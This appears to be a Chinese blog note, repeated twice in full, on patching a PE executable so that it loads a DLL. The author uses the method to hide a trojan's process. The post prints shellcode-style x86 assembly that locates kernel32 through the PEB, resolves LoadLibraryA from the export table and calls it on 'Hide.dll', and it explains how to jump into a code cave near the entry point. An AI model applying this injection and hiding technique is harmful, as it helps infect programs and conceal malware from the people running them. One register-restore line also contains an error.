作者:rhett
扩充PE文件功能的方法大概有以下几种:
1 直接在PE中添加代码 ;这个实现起来比较难,要像病毒一样实现感染和自定位,而且添加的代码比较少, 因为都需要用汇编实现,编写复杂功能代码本身就是很累的事;
2 添加Dll,扩充功能的代码在Dll中实现。这样做有很多优点。原来的exe文件只需调用LoadLibrary()函数加载Dll就可以;
3 其他的还有补丁,外挂之类的,因为接触少,所以不敢介绍;
今天我用加载Dll的方法实现了对一个木马的进程隐藏。进程隐藏的代码我封装到了Dll中,使用pjf介绍
的改写活动进程链表方法,使自身进程脱链实现隐藏。代码这里不公开;
着重要说的是怎么修改PE文件。思路就是添加代码进去使它调用LoadLibrary()函数加载我的Dll。首先想到是修改IAT表,但这样不够灵活,因为IAT表是在进程创建时是系统动态添加的。所以考虑找到LoadLibrary()在 进程空间的地址,然后直接call函数地址实现;
首先要找到kernel32.dll的加载基地址,这个很简单了,看下面的代码。病毒,shellcode里大多这样实现,通过PEB获得kernel32.dll基地址
mov eax,fs:30h
mov eax,[eax+0Ch]
mov esi,[eax+1Ch]
lodsd
mov ebp,[eax+8]
后面要做的是查找LoadLibrary()地址
mov eax,[ebp+3Ch]
mov edx,[ebp+eax+78h]
add edx,ebp
mov ecx,[edx+18h]
mov ebx,[edx+20h]
add ebx,ebp ;AddressOfNames
search:
dec ecx
mov esi,[ebx+ecx*4]
add esi,ebp
mov eax,0x64616F4C
cmp [esi],eax
jne search
mov eax,0x7262694C
cmp [esi+4],eax
jne search
mov eax,0x41797261
cmp [esi+8],eax
jne search
mov ebx,[edx+24h] ;AddressOfNameOrdinals,根据序号计算地址
add ebx,ebp
mov cx,[ebx+ecx*2]
mov ebx,[edx+1Ch]
add ebx,ebp
mov eax,[ebx+ecx*4]
add eax,ebp
这里有一点要注意,LoadLibrary()实际上有ansi和unicode两个版本,而我们要找得到的是ansi的LoadLibraryA()函数地址,所以函数名比较部分总共比较了3次,12个字符。
ok,现在LoadLibraryA()函数地址已经保存在eax中,调用方法如下:
xor ecx,ecx
push 0x6C6C642E
push 0x65646948 ;dll文件名进栈,注意字节顺序
push esp
call eax
add esp,0Ch ;平衡堆栈 昨天晚上居然写成了add esp,12h 这样的低级错误害我调式n久才发现!
这样基本上能实现dll的加载。另外还有几个小细节:
1 修改位置。 我选择了在OEP附近进行修改,使用jmp跳转到代码节的空隙处。
2 代码开始要加上pushad 和 pushfd ,末尾要加上 popfd 和 popsd 。这个自然是保护寄存器环境。
3 程序跳转时的指令对齐。这个基本上没有困扰我,以前改特征码时积累了些方法。
另外这样的方法也有局限性,当代码节剩余空间不足时要先扩充节空间或建新节。
暂时就这些,全当一次PE diy的笔记。
扩充PE文件功能的方法大概有以下几种:
1 直接在PE中添加代码 ;这个实现起来比较难,要像病毒一样实现感染和自定位,而且添加的代码比较少, 因为都需要用汇编实现,编写复杂功能代码本身就是很累的事;
2 添加Dll,扩充功能的代码在Dll中实现。这样做有很多优点。原来的exe文件只需调用LoadLibrary()函数加载Dll就可以;
3 其他的还有补丁,外挂之类的,因为接触少,所以不敢介绍;
今天我用加载Dll的方法实现了对一个木马的进程隐藏。进程隐藏的代码我封装到了Dll中,使用pjf介绍
的改写活动进程链表方法,使自身进程脱链实现隐藏。代码这里不公开;
着重要说的是怎么修改PE文件。思路就是添加代码进去使它调用LoadLibrary()函数加载我的Dll。首先想到是修改IAT表,但这样不够灵活,因为IAT表是在进程创建时是系统动态添加的。所以考虑找到LoadLibrary()在 进程空间的地址,然后直接call函数地址实现;
首先要找到kernel32.dll的加载基地址,这个很简单了,看下面的代码。病毒,shellcode里大多这样实现,通过PEB获得kernel32.dll基地址
mov eax,fs:30h
mov eax,[eax+0Ch]
mov esi,[eax+1Ch]
lodsd
mov ebp,[eax+8]
后面要做的是查找LoadLibrary()地址
mov eax,[ebp+3Ch]
mov edx,[ebp+eax+78h]
add edx,ebp
mov ecx,[edx+18h]
mov ebx,[edx+20h]
add ebx,ebp ;AddressOfNames
search:
dec ecx
mov esi,[ebx+ecx*4]
add esi,ebp
mov eax,0x64616F4C
cmp [esi],eax
jne search
mov eax,0x7262694C
cmp [esi+4],eax
jne search
mov eax,0x41797261
cmp [esi+8],eax
jne search
mov ebx,[edx+24h] ;AddressOfNameOrdinals,根据序号计算地址
add ebx,ebp
mov cx,[ebx+ecx*2]
mov ebx,[edx+1Ch]
add ebx,ebp
mov eax,[ebx+ecx*4]
add eax,ebp
这里有一点要注意,LoadLibrary()实际上有ansi和unicode两个版本,而我们要找得到的是ansi的LoadLibraryA()函数地址,所以函数名比较部分总共比较了3次,12个字符。
ok,现在LoadLibraryA()函数地址已经保存在eax中,调用方法如下:
xor ecx,ecx
push 0x6C6C642E
push 0x65646948 ;dll文件名进栈,注意字节顺序
push esp
call eax
add esp,0Ch ;平衡堆栈 昨天晚上居然写成了add esp,12h 这样的低级错误害我调式n久才发现!
这样基本上能实现dll的加载。另外还有几个小细节:
1 修改位置。 我选择了在OEP附近进行修改,使用jmp跳转到代码节的空隙处。
2 代码开始要加上pushad 和 pushfd ,末尾要加上 popfd 和 popsd 。这个自然是保护寄存器环境。
3 程序跳转时的指令对齐。这个基本上没有困扰我,以前改特征码时积累了些方法。
另外这样的方法也有局限性,当代码节剩余空间不足时要先扩充节空间或建新节。
暂时就这些,全当一次PE diy的笔记。